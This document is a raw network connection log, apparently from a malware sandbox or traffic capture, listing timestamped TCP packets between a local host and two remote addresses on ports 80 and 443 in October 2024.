Oct 18, 2024 23:46:34.136269093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136295080 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136358976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136387110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136398077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136408091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136488914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136658907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136670113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136679888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136718988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136729002 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.136744976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.136904001 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.138310909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.138322115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.138331890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.138385057 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.138385057 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.188729048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188750029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188760042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188816071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188827038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188843966 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.188875914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188885927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188896894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188896894 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.188919067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.188925982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188939095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.188957930 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.189140081 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.226785898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.226803064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.226810932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.226908922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.227369070 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.227408886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.227418900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.227433920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.227550983 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.255307913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255413055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255423069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255433083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255450010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255460024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255470037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255477905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255563974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.255563974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.255914927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255975962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.255990982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256042004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256052017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256062984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256069899 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256083012 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256110907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256113052 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256122112 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256131887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256144047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256160021 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256284952 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256356001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256386042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256477118 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.256490946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256500959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256613970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.256640911 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.257349968 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.257415056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.257441044 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.258018970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.258034945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.258243084 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.593486071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593513012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593556881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593595028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593605995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593626022 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.593641996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593655109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593668938 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.593674898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593684912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593694925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593702078 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.593708038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593718052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.593735933 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.593780994 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.594003916 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.594183922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.594861984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.594953060 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.594964981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.594976902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.594988108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595001936 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595036030 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595582962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595695019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595705986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595716953 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595724106 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595730066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595741987 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595742941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595761061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595773935 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595782995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595791101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595798016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595808983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595809937 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595819950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595830917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595833063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595849991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595854044 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595864058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595876932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595879078 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595889091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595901012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595912933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595916033 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595925093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595935106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595937967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595959902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.595982075 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.595993042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596004009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596009970 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.596015930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596028090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596030951 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.596075058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596086025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596101999 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.596103907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.596137047 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.597076893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597453117 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597469091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.597472906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597487926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597498894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597510099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597512960 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.597522020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597541094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597549915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.597551107 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.597703934 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.598454952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.598614931 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.598995924 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.599607944 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.599673033 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.600033045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600049973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600059032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600076914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600086927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600085974 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.600100040 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.600194931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600195885 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.600207090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600218058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600223064 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.600230932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600239992 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.600243092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600254059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600265026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600291014 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.600300074 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.600975037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600985050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.600995064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601006031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601016045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601025105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601042986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.601133108 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.601490974 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601501942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601557970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601568937 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601577997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601586103 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.601588964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.601620913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.602114916 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602180958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602195978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602205992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602215052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602226019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602240086 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.602264881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602276087 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602286100 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602298975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.602308035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602330923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.602330923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.602812052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602822065 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602832079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602932930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602942944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602952003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.602961063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.603002071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603012085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603022099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603032112 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.603033066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603059053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.603085995 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.603760004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603809118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603821039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603868961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603878975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603888988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603894949 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.603903055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.603931904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.604002953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614002943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614072084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614129066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614140034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614172935 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614202023 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614504099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614515066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614525080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614578962 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614578962 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614648104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614743948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614753962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614806890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614816904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614826918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614830971 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614840031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614850044 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.614861012 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614871025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.614902020 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.615219116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615243912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615253925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615289927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615312099 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.615408897 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.615559101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615607977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615617990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615628004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615684032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.615684032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.615868092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615885019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615894079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615958929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.615988016 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.616000891 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.621448994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.621459961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.621469021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.621536970 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668056011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668065071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668075085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668088913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668098927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668109894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668112040 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668121099 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668168068 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668168068 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668346882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668414116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668423891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668493986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668545961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668555975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668663025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.668719053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668729067 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.668812037 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.706270933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706284046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706295013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706305981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706317902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706327915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706340075 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706351042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.706352949 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.706404924 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:34.731132984 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.731533051 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.731794119 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.731894016 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.731925964 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.731960058 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.731975079 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.732158899 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.732686996 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.732778072 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.733160019 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:34.733179092 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:34.734131098 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734195948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734206915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734220982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:34.734234095 CEST	80	49795	104.192.108.20	192.168.2.5
